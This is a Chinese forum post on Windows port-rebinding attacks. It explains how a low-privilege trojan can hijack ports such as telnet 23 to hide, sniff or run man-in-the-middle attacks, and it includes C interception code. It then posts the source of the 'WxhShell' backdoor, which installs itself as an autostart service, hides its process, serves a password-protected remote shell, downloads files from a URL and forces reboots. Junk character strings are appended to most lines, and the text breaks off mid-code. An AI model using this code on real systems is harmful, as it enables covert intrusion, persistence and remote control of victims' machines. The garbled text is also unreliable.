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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 1%@~J\qF  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); []]3"n  
@ tIB'|O  
  saddr.sin_family = AF_INET; `@e H4}L*  
E nvs[YZe  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 9>#|~P&FE  
%KA/  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); _)l %-*Z7p  
gCJ'wv)6|%  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 84[^#ke  
r9Z/y*q  
  这意味着什么?意味着可以进行如下的攻击: 19.cf3Dh  
$;CC lzw  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 kUUq9me&o  
ZH(.| NaH  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 1;P\mff3Y  
eI}VHBAz  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 WNb$2q=  
RrHnDO'  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  EDo@J2A  
vOK;l0%  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 X u_<4  
S2R[vB4).  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 <n\.S  
_6m3$k_[MJ  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 @EY}iK~  
QB[s8"S  
  #include K|G $s  
  #include ja;5:=8A5  
  #include -"e}YN/  
  #include    &XsLp&Do2  
  DWORD WINAPI ClientThread(LPVOID lpParam);   x3s^u~C)(w  
  int main() Wn^^Q5U#  
  { faq K D:  
  WORD wVersionRequested; %jxuH+L   
  DWORD ret; [!&k?.*;<  
  WSADATA wsaData; A,{D9-%  
  BOOL val; xiF%\#N  
  SOCKADDR_IN saddr; .NT&>X~.V  
  SOCKADDR_IN scaddr; zcKC5vqb  
  int err; lAk1ncx  
  SOCKET s; i'wF>EBz  
  SOCKET sc; ?X'* p<`  
  int caddsize; ?i~/gjp  
  HANDLE mt; 8q3TeMYV  
  DWORD tid;   hzLGmWN2j8  
  wVersionRequested = MAKEWORD( 2, 2 ); "Cc"y* P  
  err = WSAStartup( wVersionRequested, &wsaData ); wP/9z(US  
  if ( err != 0 ) { C):d9OI?  
  printf("error!WSAStartup failed!\n"); y^=oYL  
  return -1; @WHd(ka!  
  } 5S]P#8  
  saddr.sin_family = AF_INET; H040-Q;S'  
   : xZC7"  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 XQOprIJ U  
SSLs hY~d  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); udGGDH  
  saddr.sin_port = htons(23); zt2-w/[Q  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) }qv-lO  
  { XyphQ}\u  
  printf("error!socket failed!\n"); C[nr>   
  return -1; ? SP7vQ/  
  } -^H5z+"^  
  val = TRUE; ~{YgM/c|dt  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 :WIf$P?X  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) G=cH61  
  { A9UaLSe  
  printf("error!setsockopt failed!\n");  sGls^J)  
  return -1; )_e"N d4  
  } `^-Be  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; oRThJB  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 [7 `Dgnmq  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 }pnFJ  
xqWrW)  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) |/^aL j^u  
  { 1vs>2` DLa  
  ret=GetLastError(); M3@fc,Ch  
  printf("error!bind failed!\n"); 6Y )^)dOi  
  return -1; !* Z)[[  
  } m=\eL~ h  
  listen(s,2); ev%t5NZ  
  while(1) MD4 j~q\ g  
  { HQ`nq~%&(  
  caddsize = sizeof(scaddr); +Z&&H'xD  
  //接受连接请求 Vfm #UvA  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Jf<yTAm  
  if(sc!=INVALID_SOCKET) q>(u>z!  
  { 7Y|>xx=v  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); $a*Q).^  
  if(mt==NULL) jfPJ5]Z  
  { bNjaCK<  
  printf("Thread Creat Failed!\n"); fC GDL6E  
  break; ?VZXJO{^  
  } (vsk^3R[6  
  } }0*ra37z>  
  CloseHandle(mt); ilp;@O6  
  } 3ZL7N$N}7  
  closesocket(s); Usf"K*A  
  WSACleanup(); dh;MpE  
  return 0; #D/ }u./  
  }   g~hk-nXL.  
  DWORD WINAPI ClientThread(LPVOID lpParam) 8+|V!q   
  { q\t>D _lU  
  SOCKET ss = (SOCKET)lpParam; *DC Nu{6  
  SOCKET sc; FR,#s^kF  
  unsigned char buf[4096]; sx<+ *Trl  
  SOCKADDR_IN saddr; zg Y*|{4Sl  
  long num; 0S:!Gv +  
  DWORD val; |z|)r"*\4  
  DWORD ret; \v3> Eo[  
  //如果是隐藏端口应用的话,可以在此处加一些判断 |@L &yg,x  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   *_/eAi/WG  
  saddr.sin_family = AF_INET; @EP{VV  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 7cmr *y  
  saddr.sin_port = htons(23); ]7S7CVDk4  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) , HI%Xn  
  { ym*#ZE`B!  
  printf("error!socket failed!\n"); 2PP-0 E  
  return -1; BdB`  
  } ooU Sb  
  val = 100; dbT^9: Q  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) }:9|*m<$t  
  { D0y,TF  
  ret = GetLastError(); =PKt09b^  
  return -1; >c y.]uB  
  } zGL<m0C  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 2mG&@E  
  { iWN.3|r  
  ret = GetLastError(); $:u7Dv}\  
  return -1; E0)mI)RW.  
  } ),p]n  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) v>y8s&/  
  { @t; O"q'|  
  printf("error!socket connect failed!\n"); Hu9-<upc&  
  closesocket(sc);  sx(l  
  closesocket(ss); z^!A/a[[!  
  return -1; fyg~KF}  
  } &pMlt7  
  while(1) snTJe[^d  
  { ~b$z\|Y  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 xL39>PB  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 OZC/+"\,  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 RZ)vU'@kx  
  num = recv(ss,buf,4096,0); 1f@U :<:  
  if(num>0) uWR,6\_jY  
  send(sc,buf,num,0); HDSA]{:sl  
  else if(num==0) z@%/r~?|  
  break; ~Miin   
  num = recv(sc,buf,4096,0); {F(-s"1;xO  
  if(num>0) $O~F>.*  
  send(ss,buf,num,0); K+ 7yUF8XP  
  else if(num==0) 01-\:[{  
  break; q(&^9"  
  } _]=TFz2O  
  closesocket(ss); DNm7z[ t{  
  closesocket(sc); )kL` &+#>  
  return 0 ; Jp.3KA>  
  } >xU72l#5  
>d27[%  
_!C)r*0(  
========================================================== k;K> ,$ F  
z%}CB Tm  
下边附上一个代码,,WXhSHELL / UaNYv/  
C6D=>%uY  
========================================================== ^`TKvcgIc  
3D$\y~HU  
#include "stdafx.h" 4iYKW2a  
v't6 yud  
#include <stdio.h> ]U#[\ Z  
#include <string.h> "S B%02  
#include <windows.h> /]k ,,&  
#include <winsock2.h> *2"bG1`  
#include <winsvc.h> gf3u0' $  
#include <urlmon.h> *,pZ fc  
`b^#quz  
#pragma comment (lib, "Ws2_32.lib") +;:aG6q+  
#pragma comment (lib, "urlmon.lib") "9U+h2#]  
j:v~MrQ7|  
#define MAX_USER   100 // 最大客户端连接数 \'It,PN  
#define BUF_SOCK   200 // sock buffer =2;mxJ#o  
#define KEY_BUFF   255 // 输入 buffer '.%iPMM  
MfNpQ:]c\  
#define REBOOT     0   // 重启 Jv 6nlK`  
#define SHUTDOWN   1   // 关机 4+/fP  
x^M5D+o  
#define DEF_PORT   5000 // 监听端口 ')P2O\YS  
e_I; y  
#define REG_LEN     16   // 注册表键长度 0uVk$\:i  
#define SVC_LEN     80   // NT服务名长度 oRT  
X ]pR,\B  
// 从dll定义API nCffBc  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);  e8XM=$@  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); VW{aUgajO  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); kO..~@ aY  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); kwDh|K  
I8<Il ^  
// wxhshell配置信息 Giy3eva2  
struct WSCFG { }sTH.%  
  int ws_port;         // 监听端口 ( E"&UC[  
  char ws_passstr[REG_LEN]; // 口令 u@=+#q~/P  
  int ws_autoins;       // 安装标记, 1=yes 0=no Q*09 E  
  char ws_regname[REG_LEN]; // 注册表键名 _XY`UZ  
  char ws_svcname[REG_LEN]; // 服务名 <K DH  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Nl=m'4 @`  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 S.Wh4kMUe  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 HQ|o%9~  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 1qm/{>a-  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" xUiWiOihr6  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 t-*VsPy  
"4Lg8qm  
}; >0Fxyv8  
^MWEfPt  
// default Wxhshell configuration "t (1tWO1o  
struct WSCFG wscfg={DEF_PORT, ! F0rd9  
    "xuhuanlingzhe", + AcKB82  
    1, ?o(ZTlT  
    "Wxhshell", eD*?q7  
    "Wxhshell", _" ?c9  
            "WxhShell Service", };|!Lhl+  
    "Wrsky Windows CmdShell Service", b"ol\&1 #  
    "Please Input Your Password: ", r,`Z.A  
  1, ShL1'Z} ^{  
  "http://www.wrsky.com/wxhshell.exe", X[GIOPDx  
  "Wxhshell.exe" VZT6;1TD$8  
    }; G*P[z'K=  
h.4qlx|  
// 消息定义模块 }j+~'O4m  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; qy7hkq.uX  
char *msg_ws_prompt="\n\r? for help\n\r#>"; fbh6Ls/  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; olD@W UB  
char *msg_ws_ext="\n\rExit."; vh9kwJyT  
char *msg_ws_end="\n\rQuit."; b{~fVil$y  
char *msg_ws_boot="\n\rReboot..."; Gt^|+[gD  
char *msg_ws_poff="\n\rShutdown..."; Wphe%Of  
char *msg_ws_down="\n\rSave to "; ewb*?In  
-:)DX++  
char *msg_ws_err="\n\rErr!"; Nk lz_ ]  
char *msg_ws_ok="\n\rOK!"; _-4n ~(  
A|p@\3 P*A  
char ExeFile[MAX_PATH]; }Kv h`@CiJ  
int nUser = 0; uI%N?  
HANDLE handles[MAX_USER]; 4)3g!o ?  
int OsIsNt; &ui:DZAxj|  
);Tx5Z}  
SERVICE_STATUS       serviceStatus; P1(8U%   
SERVICE_STATUS_HANDLE   hServiceStatusHandle; VqcBwJ!?p  
qiG]nCq  
// 函数声明 %/{IssCR7  
int Install(void); MZCL:#  
int Uninstall(void); .@y{)/  
int DownloadFile(char *sURL, SOCKET wsh); ?60>'Xj j  
int Boot(int flag); ,bB( 24LD  
void HideProc(void); fp.!VOy  
int GetOsVer(void); tP}Xhn`  
int Wxhshell(SOCKET wsl); %iK%$  
void TalkWithClient(void *cs); Hnfvo*6d.e  
int CmdShell(SOCKET sock); T6sr/<#<(  
int StartFromService(void); kVV\*"9y  
int StartWxhshell(LPSTR lpCmdLine); mDb-=[W5  
Jz~+J*r;]A  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); kmZ.U>#  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); +\+Uz!YS  
th5,HO~  
// 数据结构和表定义 <'r0r/0g?  
SERVICE_TABLE_ENTRY DispatchTable[] = Iv'RLM  
{ +:Lk^Ny  
{wscfg.ws_svcname, NTServiceMain}, NzjMk4t  
{NULL, NULL} ?cqicN.+6  
}; gJ]Cq/gC  
PYdIP\<V  
// 自我安装 5."5IjZu  
int Install(void) U8 Z~Y}29  
{ ' oBo|  
  char svExeFile[MAX_PATH]; gb.f%rlZ`  
  HKEY key; Q{H17]W  
  strcpy(svExeFile,ExeFile); wY' "ab  
T&?w"T2y  
// 如果是win9x系统,修改注册表设为自启动 $-m@KB  
if(!OsIsNt) { 1Z\(:ab13  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 5gO /-Zj  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %l Q[dXp  
  RegCloseKey(key); ]b}B~jD  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { CkRyzF  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); KjO-0VMN3  
  RegCloseKey(key); gsnP!2cR  
  return 0; *6NO-T; -  
    } A;odVaH7  
  } u8 |@|t  
} C>AcK#-x,{  
else { 5iP8D<;o5  
bBA$}bv  
// 如果是NT以上系统,安装为系统服务 )J;ny!^2  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 6a7vlo  
if (schSCManager!=0) +c-6#7hh  
{ uZ@-e|qto  
  SC_HANDLE schService = CreateService pNP_f:A|  
  ( {d| |q<.-  
  schSCManager, %,33gZzf  
  wscfg.ws_svcname, E|Q{]&$;Z"  
  wscfg.ws_svcdisp, ||R0U@F,  
  SERVICE_ALL_ACCESS, /rqqC(1  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 3 t/ R2M  
  SERVICE_AUTO_START, 6hp{,8|D"m  
  SERVICE_ERROR_NORMAL, |a%B|CX  
  svExeFile, 5i|s>pD4z1  
  NULL, <#zwKTmK1  
  NULL, XFtOmY  
  NULL, OWqrD@  
  NULL, _~juv&  
  NULL Sbp  
  ); yb69Q#V2  
  if (schService!=0) k69kv9v@J  
  { :qBGe1Sv(  
  CloseServiceHandle(schService); xM% pvx.'L  
  CloseServiceHandle(schSCManager); 9H>BWjS  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); +eU`H[iu  
  strcat(svExeFile,wscfg.ws_svcname); ?2/uSG|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { * nLIXnm  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); v5B" A"N  
  RegCloseKey(key); R|-6o)$  
  return 0; Sc$gnUYD{  
    } q1H~ |1  
  } 9t#P~>:jY}  
  CloseServiceHandle(schSCManager); FQ U\0<5  
} g`kY]lu  
} ZOp^`c9~  
mU50pM~/i  
return 1; 5bXHz5i  
} r)Or\HL  
`Uv)Sf{  
// 自我卸载 DTPay1]6  
int Uninstall(void) 8}bZ [  
{ Hc M~  
  HKEY key; J6DnPaw-G  
+)zDA:2Wa"  
if(!OsIsNt) { I|Z/`9T  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Np$z%ewK.  
  RegDeleteValue(key,wscfg.ws_regname); 6eM6[  
  RegCloseKey(key); #^Ys{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { F%Kp9I*  
  RegDeleteValue(key,wscfg.ws_regname); 21 ViHV  
  RegCloseKey(key); 7 %3<~'v[  
  return 0; *_ PPrx5  
  } m#*h{U$  
} ("OAPr\2dw  
} vm|!{5l:=y  
else { W,DZ ;). %  
WK*S4c  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); o!=WFAi[pX  
if (schSCManager!=0) 3B;}j/h2  
{ 3I]Fdp)'  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); RE 9nU%!  
  if (schService!=0) MA$Xv`6I\  
  { fSjs?zd`  
  if(DeleteService(schService)!=0) { l~rb]6E  
  CloseServiceHandle(schService); oKRFd_r+  
  CloseServiceHandle(schSCManager); Rnr#$C%  
  return 0; +ZclGchw  
  } "?P[9x}  
  CloseServiceHandle(schService); L@nebT;\'  
  } {M [~E|@D  
  CloseServiceHandle(schSCManager); ^Z#@3 =  
} :&9TW]*g  
} wYjQ V?,  
~H u"yAR  
return 1; f|#8qiUS  
} &Xv1[nByU  
]rnXNn;  
// 从指定url下载文件 I(n }<)eF  
int DownloadFile(char *sURL, SOCKET wsh) p-,Iio+  
{ S.W^7Ap  
  HRESULT hr; ck$M(^)l  
char seps[]= "/"; )km7tA 0a  
char *token; ZjS(ad*.2  
char *file; /=T H08  
char myURL[MAX_PATH]; XMw.wQ '?  
char myFILE[MAX_PATH]; Ny^'IUu  
~r&D6Y  
strcpy(myURL,sURL); iV!@bC,  
  token=strtok(myURL,seps); 5}XvL'  
  while(token!=NULL) 1q] & 7R  
  { uH\w.  
    file=token; ddoFaQ8  
  token=strtok(NULL,seps); 5,R`@&K3D  
  } NF mc>0-  
p,;mYms  
GetCurrentDirectory(MAX_PATH,myFILE); {]`p&@  
strcat(myFILE, "\\"); f?^S bp  
strcat(myFILE, file); =m9i)Q  
  send(wsh,myFILE,strlen(myFILE),0); ) |MJnx9  
send(wsh,"...",3,0); oNIFx5*Z  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); (ND%}  
  if(hr==S_OK) 7}%H2$Do  
return 0;  HxIoA  
else P6YQK+  
return 1; B?3juyB`--  
hVM2/j  
} r|fO7PD  
5)`h0TK  
// 系统电源模块 nP1GW6Pu  
int Boot(int flag) JDA]t&D!v  
{ Y\( ;!o0a  
  HANDLE hToken; ezn` _x_?  
  TOKEN_PRIVILEGES tkp; $P nLG]X  
2+:'0Krc  
  if(OsIsNt) { }Eh*xOta  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ne*#+Q{E  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); #wjH4DT  
    tkp.PrivilegeCount = 1; u-szt ?O|  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; :u/mTZDi  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 41yOXy ;~l  
if(flag==REBOOT) { 0x~`5h  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ^A!$i$NON  
  return 0; `Wn Q   
} smup,RNZRX  
else { 6 D/tK|  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) x8\<qh*:  
  return 0; h e&V# #  
} 8+&JQ"UaB  
  } mU@xc N  
  else { >DP:GcTG  
if(flag==REBOOT) { 3=- })X ;  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) !re1EL  
  return 0; `!i-#~n  
} [/$N!2'5  
else { TzKK;(GX  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) sV2iITF p  
  return 0; 1bSD,;$sQ  
} `R+,1"5=  
} [@G`Afaf  
" U8S81'  
return 1; EB,4PEe:  
} 1'O0`Me>#  
Im)EDTm$  
// win9x进程隐藏模块 Uc&iZFid2K  
void HideProc(void) Uu'dv#4Iw  
{ $Q/Ya@o  
-5k2j^r;  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); #SnvV  
  if ( hKernel != NULL ) 9Cvn6{  
  { X+l'bp]Ry  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); :E'P7A  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); O+"ac /r  
    FreeLibrary(hKernel); Vz"u>BP3~  
  } K)N0,Qwu  
%|+E48  
return; @cv{rr  
} T)SbHp Y  
H?Jm'\~  
// 获取操作系统版本 Z<"K_bj   
int GetOsVer(void) > 0.W`j(s  
{ Eju~}:Lo  
  OSVERSIONINFO winfo; WG5W0T_  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); fdv`7u+}a  
  GetVersionEx(&winfo); BsLG^f  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) W^3;F1  
  return 1; DWm SC}{.  
  else n:4uA`Vg  
  return 0; Z cpmquf8L  
} /3B6 Mtb  
_0(7GE13p  
// 客户端句柄模块 b{5K2k&,  
int Wxhshell(SOCKET wsl) Tlodn7%",  
{ p]ivf  
  SOCKET wsh; GEe`ZhG,  
  struct sockaddr_in client; J/W{/E>;  
  DWORD myID; >NM\TLET~  
Bs!4H2@{(]  
  while(nUser<MAX_USER) FxRXPt FK  
{ "A[ b rG  
  int nSize=sizeof(client); |d}MxS`^  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 2UadV_s+s  
  if(wsh==INVALID_SOCKET) return 1; _MfD   
.C bGDZ  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 1-VT}J(  
if(handles[nUser]==0) )/|6'L-2  
  closesocket(wsh); `xz&Scil  
else g^~Kze  
  nUser++; gEJi[E@  
  } _[K#O,D,  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); aGoE,5  
7r 0,> 3"  
  return 0; ;3m!:l  
} i8PuC^]  
Qa`hR  
// 关闭 socket ^b-18 ~s  
void CloseIt(SOCKET wsh) m,_d^  
{ %XTA;lrz  
closesocket(wsh); sl|_=oXT  
nUser--; B0Xl+JIR#  
ExitThread(0); I021p5h|  
} #A<P6zJXR  
 ux-CpI  
// 客户端请求句柄 ~<9{#uM  
void TalkWithClient(void *cs) B'weok  
{ Of[;Qn  
z#Nl@NO&  
  SOCKET wsh=(SOCKET)cs; F n|gVR  
  char pwd[SVC_LEN]; ]v29 Rx  
  char cmd[KEY_BUFF]; `-UJ /{  
char chr[1]; 'Kbl3fUF  
int i,j; QIU,!w-3X  
Is.WZY a  
  while (nUser < MAX_USER) { 0l\y.   
%NARyz  
if(wscfg.ws_passstr) { Qt+:4{He  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); z/]q)`G  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0$P/jt  
  //ZeroMemory(pwd,KEY_BUFF); buMq F-j  
      i=0; -J0WUN$2*  
  while(i<SVC_LEN) { #exss=as/  
7Z,/g|s}z  
  // 设置超时 9NpD!A&64<  
  fd_set FdRead; F%/ h*  
  struct timeval TimeOut; m7qqY  
  FD_ZERO(&FdRead); }5 9U}@xC  
  FD_SET(wsh,&FdRead); nU z7|y  
  TimeOut.tv_sec=8; M>H=z#C>/A  
  TimeOut.tv_usec=0; my.`k'  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); JXU2CyMY  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 8E^@yZo{  
jE/oA<^  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); f [o%hCS  
  pwd=chr[0]; x"4%(xBu  
  if(chr[0]==0xd || chr[0]==0xa) { \f Lvw  
  pwd=0; wts:65~  
  break; +cB&Mi5  
  } ^ 4hO8  
  i++; k#JQxLy#  
    } YJF#)TkF  
`,>wC+}  
  // 如果是非法用户,关闭 socket 1s7^uA$}6  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 2k -+^}r  
} j tA*pL'/V  
>'=MH2;  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); D!LX?_cD1i  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9'~- U  
wz /GB8P  
while(1) { P=8>c'Q  
mY&ud>,U:  
  ZeroMemory(cmd,KEY_BUFF); -uR72f  
N2,D:m\  
      // 自动支持客户端 telnet标准   xFF r  
  j=0; \gO,hST   
  while(j<KEY_BUFF) { Iw=Sq8  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); }nx=e#[g%2  
  cmd[j]=chr[0]; T1Ta?b  
  if(chr[0]==0xa || chr[0]==0xd) { *~VxC{  
  cmd[j]=0; 40P) 4w  
  break; 4FMF|U  
  } c6AWn>H  
  j++; ]$iN#d|ZU  
    } Tupiq  
(Xx n\*S  
  // 下载文件 +Ov2`O8?  
  if(strstr(cmd,"http://")) { % 4 ~l  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); :`,3h%  
  if(DownloadFile(cmd,wsh)) ${&5]!E[>D  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); m}Y0xV9  
  else ` $5UHa2/  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); sq0 PBEqq  
  } <G3&z#]#4  
  else { uOi&G:=  
`S/wJ'c  
    switch(cmd[0]) { r.3KPiYK  
  /.Jb0h[W1  
  // 帮助 fP-|+Ty O  
  case '?': { (!K_Fy@  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Oe]&(  
    break; I4_d[O9  
  } lX!`zy{3k  
  // 安装 6j9)/H P  
  case 'i': { c+' =hR[  
    if(Install()) }ZOFYu0f  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @ GDX7TPV  
    else QB{rVI>mI!  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }xb=<  
    break; OEgI_= B  
    } 9}tG\0tL*  
  // 卸载 h 8 @  
  case 'r': { @9G- m(?*  
    if(Uninstall()) df*w>xS  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); RuRt0Sd3  
    else rjWLMbd.<  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); y9HK |  
    break; 5F $V`kYT  
    } =P77"Dd  
  // 显示 wxhshell 所在路径 TYgQJW?  
  case 'p': { |$lwkC)O  
    char svExeFile[MAX_PATH]; u:gtOjk2  
    strcpy(svExeFile,"\n\r"); e]>ori 8  
      strcat(svExeFile,ExeFile); h5zVGr  
        send(wsh,svExeFile,strlen(svExeFile),0); t!;/Z6\Pb  
    break; y }2F9=  
    } `TKD<&oL  
  // 重启 3tS~:6-/  
  case 'b': { GUB`|is^  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); YE+$H%Jl!  
    if(Boot(REBOOT)) OyG"1F  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \l#>dq"Y  
    else { 0lk;F  
    closesocket(wsh); L;t)c  
    ExitThread(0); CC >=UF  
    } #VbVs l  
    break; JqUADm  
    } b3qc_  
  // 关机 Wa"(m*hW  
  case 'd': { ;GHvPQc_  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); "E=j|q  
